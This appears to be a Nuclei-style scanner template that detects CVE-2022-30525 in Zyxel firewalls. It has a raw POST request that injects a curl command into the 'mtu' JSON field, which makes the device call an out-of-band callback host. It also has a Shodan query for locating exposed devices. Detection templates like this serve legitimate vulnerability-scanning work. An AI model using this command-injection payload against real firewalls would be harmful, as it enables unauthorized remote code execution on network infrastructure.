37 lines
1.5 KiB
YAML
37 lines
1.5 KiB
YAML
id: CVE-2022-30525
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info:
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name: Zyxel Firewall - Unauthenticated RCE
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author: h1ei1,prajiteshsingh
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severity: critical
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description: |
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The vulnerability affects Zyxel firewalls that support Zero Touch Provisioning (ZTP), including the ATP Series, VPN Series, and USG FLEX Series (including USG20-VPN and USG20W-VPN), allowing an unauthenticated remote attacker to target the affected device as nobody Execute arbitrary code as a user on.
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reference:
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- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
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- https://github.com/rapid7/metasploit-framework/pull/16563
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- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
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- https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
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metadata:
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shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
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tags: rce,zyxel,cve,cve2022,firewall,unauth
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requests:
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- raw:
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- |
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POST /ztp/cgi-bin/handler HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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- type: status
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status:
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- 500
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